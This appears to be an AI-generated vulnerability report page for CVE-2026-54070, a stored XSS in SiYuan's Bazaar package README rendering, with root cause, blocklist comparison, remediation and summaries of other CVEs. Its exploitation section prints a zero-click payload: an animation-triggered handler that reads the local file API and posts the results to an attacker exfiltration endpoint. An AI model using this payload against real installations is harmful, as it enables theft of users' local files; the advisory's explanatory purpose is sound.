CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54070

CVE-2026-54070: Stored Cross-Site Scripting via Modern HTML5 Event Handler Bypass in SiYuan Bazaar

Alon Barad
Alon Barad
Software Engineer

Jul 10, 2026·5 min read·12 visits

Executive Summary (TL;DR)

Stored XSS in SiYuan's Bazaar package rendering component allows unauthenticated attackers to execute arbitrary JavaScript in the context of the administrator origin, leading to complete workspace compromise.

A high-severity Stored Cross-Site Scripting (XSS) vulnerability exists in SiYuan prior to version 3.7.0. The vulnerability is located within the server-side Markdown-to-HTML parsing component for the Bazaar marketplace packages. Due to an incomplete event-handler attribute blocklist in the lute parsing engine and a lack of client-side DOM sanitization, malicious package authors can bypass restrictions using modern HTML5 event handlers. When an authenticated administrator views a malicious package, the embedded JavaScript runs in the administrator origin, allowing unauthorized workspace access, local file reading, and remote API execution.

Vulnerability Overview

SiYuan is an open-source, self-hosted personal knowledge management system that allows users to manage local Markdown workspaces. The platform features an integrated Bazaar marketplace, enabling users to discover and download third-party community themes, plugins, and templates. This modular ecosystem necessitates the retrieval and rendering of remote content within the application interface.

The attack surface is exposed in the Bazaar package viewing flow inside the Settings panel. When an administrator browses the marketplace, the backend kernel fetches the package README file from a remote registry and processes it to display detailed information. The backend engine processes the raw Markdown and converts it into HTML output.

This vulnerability is categorized under CWE-79 (Improper Neutralization of Input During Web Page Generation) and CWE-184 (Incomplete List of Disallowed Inputs). An attacker can host a malicious package on the public Bazaar registry. This action triggers code execution when an administrator inspects the package, without requiring package installation.

Root Cause Analysis

The backend kernel employs the lute engine to parse Markdown to HTML inside the renderPackageREADME function in kernel/bazaar/readme.go. To mitigate potential injection vectors, the engine is initialized with sanitization enabled via luteEngine.SetSanitize(true). This configuration activates the internal attribute validator within the parsing library.

The sanitizer relies on a negative security model (blocklist) to strip dangerous elements. The function checks parsed HTML attributes against a hardcoded map of prohibited handlers, called eventAttrs. This collection was based on legacy web elements and does not contain contemporary pointers, transitions, or animations.

Because the blocklist is not exhaustive, modern event handlers such as onpointerover, onpointerdown, onauxclick, onbeforetoggle, onfocusin, onanimationstart, and ontransitionend are not recognized as dangerous. The parser passes these attributes through to the generated HTML output unchanged. The client receives this raw output and loads it directly into the application context.

Code Analysis and Comparison

In vulnerable versions, the kernel converts the content to HTML and transfers it directly to the frontend. The critical vulnerability on the frontend client resides in app/src/config/bazaar.ts where the response is rendered:

// Inside app/src/config/bazaar.ts (Vulnerable path)
// The HTML output is inserted directly into the main DOM
mdElement.innerHTML = renderedHTML;

No secondary client-side library (such as DOMPurify) sanitizes this element, and it is placed inside the primary document window rather than inside a sandboxed iframe. Additionally, the application does not implement a restrictive Content Security Policy (CSP) on the local host origin.

In the patched release, the lute rendering library has been updated to filter out modern event handlers, or the application was adjusted to utilize safer rendering pipelines. An expanded representation of the legacy sanitization map contrasted with the updated, secure validation approach is demonstrated below:

// VULNERABLE: Incomplete list derived from legacy event types
var eventAttrs = map[string]bool{
    "onclick":     true,
    "onload":      true,
    "onerror":     true,
    "onmouseover": true,
}
 
// PATCHED: Complete blocklist including pointer and CSS keyframe handlers
var eventAttrs = map[string]bool{
    "onclick":          true,
    "onload":           true,
    "onerror":          true,
    "onmouseover":      true,
    "onpointerover":    true,
    "onpointerdown":    true,
    "onauxclick":       true,
    "onbeforetoggle":   true,
    "onfocusin":        true,
    "onanimationstart": true,
    "ontransitionend":  true,
}

Exploitation Methodology

Exploitation involves registering a package on the SiYuan Bazaar registry containing custom Markdown in the README.md file. The attacker places a structured HTML tag inside the Markdown to trigger JavaScript execution upon page load or simple user navigation.

To achieve interaction-less exploitation, an attacker can specify a hidden element with CSS keyframe animations. The onanimationstart event triggers immediately when the browser calculates the layout, requiring no active movement or clicks from the administrator:

<style>
@keyframes triggerXSS {
  from { clip: rect(1px, 1px, 1px, 1px); }
  to { clip: rect(0px, 0px, 0px, 0px); }
}
.xss-trigger {
  animation: triggerXSS 0.1s;
}
</style>
 
<div class="xss-trigger" onanimationstart="
  fetch('/api/file/readDir', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ path: '/' })
  })
  .then(r => r.json())
  .then(files => {
     fetch('https://attacker.com/exfil', {
       method: 'POST',
       body: JSON.stringify(files)
     });
  });
"></div>

If pointer interactions are preferred, the payload can be bound to onpointerover inside an eye-catching element. As soon as the mouse pointer brushes against the package overview container, the handler invokes the client-side API.

Technical Impact Assessment

The impact of this vulnerability is severe because the local SiYuan application has access to local desktop system files via its integrated local API server. Since the injected code executes in the context of the running application, the attacker inherits the rights of the logged-in administrator.

The script can call any API endpoint exposed on the local server origin. Key capabilities include listing directory contents, reading arbitrary local notes, writing malicious files, or modifying current application configurations. The compromised workspace can then be exfiltrated via external HTTP requests since no Content Security Policy restricts external communication.

Remediation and Defensive Measures

The primary resolution is to upgrade all SiYuan installations to version 3.7.0 or higher. Version 3.7.0 contains updated validation logic within the lute markdown component and hardens the application against event handler bypasses.

For environments where updating is delayed, the following temporary workarounds should be applied:

  1. Do not open the 'Bazaar' or 'Marketplace' configuration sections.

  2. Enforce local host restrictions or firewall configurations that block outbound internet communication from the SiYuan process to untrusted domains, preventing third-party package synchronization.

  3. Implement local intercepting proxies to strip custom event attributes before they are parsed by the application frontend.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L
EPSS Probability
0.18%
Top 92% most exploited

Affected Systems

SiYuan Note-Taking Application

Affected Versions Detail

Product
Affected Versions
Fixed Version
SiYuan
SiYuan
< 3.7.03.7.0
AttributeDetail
CWE IDCWE-79 / CWE-184
Attack VectorNetwork
CVSS Score7.1 (High)
EPSS Score0.0018 (Percentile: 7.75%)
ImpactStored Cross-Site Scripting (XSS)
Exploit Statuspoc
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1185Browser Session Hijacking
Collection
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product receives input, but does not neutralize or incorrectly neutralizes authorized HTML elements or event handlers prior to executing the contents in a web page context.

Known Exploits & Detection

GitHub Security AdvisoryDocumented proof of concept outlining exploitation via pointer and animation events.

Vulnerability Timeline

Vulnerability Advisory Published (GHSA-w7cg-whh7-xp28)
2026-06-24
Patched Version 3.7.0 Released
2026-06-24
NVD Record Updated
2026-06-26

References & Sources

  • [1]GitHub Security Advisory GHSA-w7cg-whh7-xp28
  • [2]NVD CVE-2026-54070 Detail
  • [3]SiYuan Fix Commit 27e0051e0d067892e833df1063cb2fb469600e98
  • [4]CVE-2026-54070 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 14 hours ago•CVE-2026-12243
7.5

CVE-2026-12243: Incomplete Path Traversal Validation and Percent-Encoding Bypass in NLTK

CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.

Amit Schendel
Amit Schendel
3 views•8 min read
•about 15 hours ago•CVE-2026-73654
8.5

CVE-2026-73654: Prototype Pollution in Trigger.dev leading to Cascading Denial of Service

CVE-2026-73654 is a high-severity prototype pollution vulnerability in Trigger.dev. The flaw occurs during the handling of run-metadata updates through the PUT /api/v1/runs/:runId/metadata endpoint. Because user-supplied keys are parsed directly by the @jsonhero/path library without sanitization, an authenticated attacker with low privileges can pollute the global Object.prototype. This causes database queries via Prisma ORM to fail validation and induces unhandled exceptions in the Prometheus metrics client, resulting in a process-wide denial of service.

Alon Barad
Alon Barad
8 views•6 min read
•about 17 hours ago•CVE-2026-73559
6.5

CVE-2026-73559: Uncontrolled Resource Consumption in vLLM API completions

CVE-2026-73559 is an uncontrolled resource consumption vulnerability in the vLLM engine, specifically within the /v1/completions API endpoint, allowing authenticated attackers to cause application-level denial of service via unbounded prompt arrays.

Amit Schendel
Amit Schendel
8 views•5 min read
•about 19 hours ago•CVE-2026-54526
9.9

CVE-2026-54526: Strict Template Referencing Bypass and Privilege Escalation in Argo Workflows

A critical security bypass vulnerability in Argo Workflows allows authenticated attackers with workflow submission privileges to bypass 'Strict' or 'Secure' template referencing restrictions. By injecting unvalidated fields into the nested ArtifactGC configuration, attackers can execute arbitrary pod patches, leading to host namespace escape and cluster-wide privilege escalation.

Alon Barad
Alon Barad
14 views•6 min read
•about 20 hours ago•CVE-2026-54249
6.8

CVE-2026-54249: Server-Side Request Forgery via Confused Deputy in Pydantic AI UI Adapters

A Server-Side Request Forgery (SSRF) / Confused Deputy vulnerability has been identified in Pydantic AI UI Adapters (such as VercelAIAdapter). Under certain conditions, a malicious client can supply manipulated message history with provider metadata that forces the server to resolve files within privileged cloud environments (AWS S3, Google Cloud Storage) or model providers. This occurs because the adapters deserialize client-provided metadata structures directly into UploadedFile instances without validation, which are subsequently fetched using high-privilege server credentials.

Alon Barad
Alon Barad
7 views•7 min read
•about 21 hours ago•GHSA-RM43-82J9-R4MJ
8.2

GHSA-RM43-82J9-R4MJ: Path Traversal (Arbitrary File Read) in atomic-agents-stack Dashboard

A path traversal vulnerability in the optional dashboard server of atomic-agents-stack before version 1.1.0 allows unauthenticated remote attackers to read arbitrary files from the host filesystem.

Amit Schendel
Amit Schendel
6 views•6 min read